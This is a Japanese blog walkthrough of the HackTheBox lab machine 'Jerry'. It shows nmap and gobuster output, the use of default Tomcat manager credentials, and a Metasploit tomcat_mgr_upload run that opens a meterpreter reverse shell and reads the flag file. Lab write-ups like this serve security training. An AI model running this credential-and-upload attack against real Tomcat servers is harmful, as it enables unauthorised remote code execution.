HackTheBox Jerry Walkthrough
新年明けましておめでとうございます。今年もよろしくお願いいたします。
ここ2ヶ月ほど、データ分析をがりがりやっていたので、
すっかりご無沙汰になってしまった...
今日はHackTheBox JerryのWalkthroughを書く。
アイコン見たらどう見てもトムとジェリー感。
そして再びのWindowsマシンです
目次
ポートスキャン
試しにポートスキャン。 結果を確認すると、8080ポートでTomcatが上がっている。 Webサーバかな?
kali@kali:~$ sudo nmap -A -Pn 10.10.10.95 -p- [sudo] password for kali: Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-11 12:38 JST Nmap scan report for 10.10.10.95 Host is up (0.080s latency). Not shown: 65534 filtered ports PORT STATE SERVICE VERSION 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-favicon: Apache Tomcat |_http-server-header: Apache-Coyote/1.1 |_http-title: Apache Tomcat/7.0.88 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Microsoft Windows Server 2012 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows 7 Professional (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops TRACEROUTE (using port 8080/tcp) HOP RTT ADDRESS 1 81.33 ms 10.10.14.1 2 80.96 ms 10.10.10.95 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 149.78 seconds
Webサーバの調査
まずは普通にブラウザで、Jerryの8080番にアクセスしてみる。
Tomcatのバージョン(Apache Tomcat/7.0.88)が丸出しな時点でだいぶ悲しい感じ。
PoCを探すのは後でやるので、まずは探索だけやる。
うーん、認証がかかっている...だと...
他に面白そうなページを探したいので、gobuster
で列挙をかけてみる
kali@kali:~$ gobuster dir -u http://10.10.10.95:8080/ -w /usr/share/dirb/wordlists/common.txt -s '200,204,301,302,307,403,500' -e =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.95:8080/ [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Status codes: 200,204,301,302,307,403,500 [+] User Agent: gobuster/3.0.1 [+] Expanded: true [+] Timeout: 10s =============================================================== 2020/10/11 12:44:39 Starting gobuster =============================================================== http://10.10.10.95:8080/aux (Status: 200) http://10.10.10.95:8080/com1 (Status: 200) http://10.10.10.95:8080/com3 (Status: 200) http://10.10.10.95:8080/com2 (Status: 200) http://10.10.10.95:8080/con (Status: 200) http://10.10.10.95:8080/docs (Status: 302) http://10.10.10.95:8080/examples (Status: 302) http://10.10.10.95:8080/favicon.ico (Status: 200) http://10.10.10.95:8080/host-manager (Status: 302) http://10.10.10.95:8080/lpt1 (Status: 200) http://10.10.10.95:8080/lpt2 (Status: 200) http://10.10.10.95:8080/manager (Status: 302) http://10.10.10.95:8080/nul (Status: 200) http://10.10.10.95:8080/prn (Status: 200) =============================================================== 2020/10/11 12:45:18 Finished ===============================================================
/manager
って管理情報に近そう、と思ったのでアクセスすると、
manager-gui
のデフォルトIDとパスワードが書いてあった。しめしめ。
tomcat / s3cret
という認証情報を、さっきのページの認証ダイアログに入れてみる。
入れた。WAR fileアップローダが出てきた。
これを使えばnc
とかツールを転送することもできそう。
Tomcatのバージョンの脆弱性として、CVE-2019-0232
はあったが、これは空振りだった。
このアップローダに面白そうな情報が無いかと思って検索。
あった。metasploitのモジュールもある。
このモジュールは、JSPアプリケーションを含むWARアーカイブとしてペイロードを作成、
/manager/html/upload
に対するPOSTリクエストを利用して送りつけるものだった。
利用するには、IPアドレス情報だけでなく、Tomcatの認証情報も必要だった。
msf5 > search multi/http/tomcat_mgr_upload Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/http/tomcat_mgr_upload 2009-11-09 excellent Yes Apache Tomcat Manager Authenticated Upload Code Execution msf5 > use 0 [*] No payload configured, defaulting to java/meterpreter/reverse_tcp msf5 exploit(multi/http/tomcat_mgr_upload) > msf5 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 10.10.10.95 RHOSTS => 10.10.10.95 msf5 exploit(multi/http/tomcat_mgr_upload) > set LHOST 自分のIPアドレス LHOST => 自分のIPアドレス msf5 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword s3cret HttpPassword => s3cret msf5 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat HttpUsername => tomcat msf5 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8080 RPORT => 8080 msf5 exploit(multi/http/tomcat_mgr_upload) > run [*] Started reverse TCP handler on 自分のIPアドレス:4444 [*] Retrieving session ID and CSRF token... [*] Uploading and deploying C0pIIgKzIDNP7LtJjKs4iI5Bie... [*] Executing C0pIIgKzIDNP7LtJjKs4iI5Bie... [*] Undeploying C0pIIgKzIDNP7LtJjKs4iI5Bie ... [*] Sending stage (53944 bytes) to 10.10.10.95 [*] Meterpreter session 1 opened (自分のIPアドレス:4444 -> 10.10.10.95:49192) at 2020-10-11 13:13:19 +0900 meterpreter >
無事刺さった。
フラグを探す
探索はあっさりだった。Desktopの中のflagsフォルダ内のテキストに
userもrootも書いてあった。
meterpreter > ls Listing: C:\Users\Administrator\Desktop\flags ============================================= Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100776/rwxrwxrw- 88 fil 2018-06-19 13:11:36 +0900 2 for the price of 1.txt meterpreter > cat 2\ for\ the\ price\ of\ 1.txt user.txt XXXXXXXXXXXXXXXXXXXXXXX root.txt XXXXXXXXXXXXXXXXXXXXXXX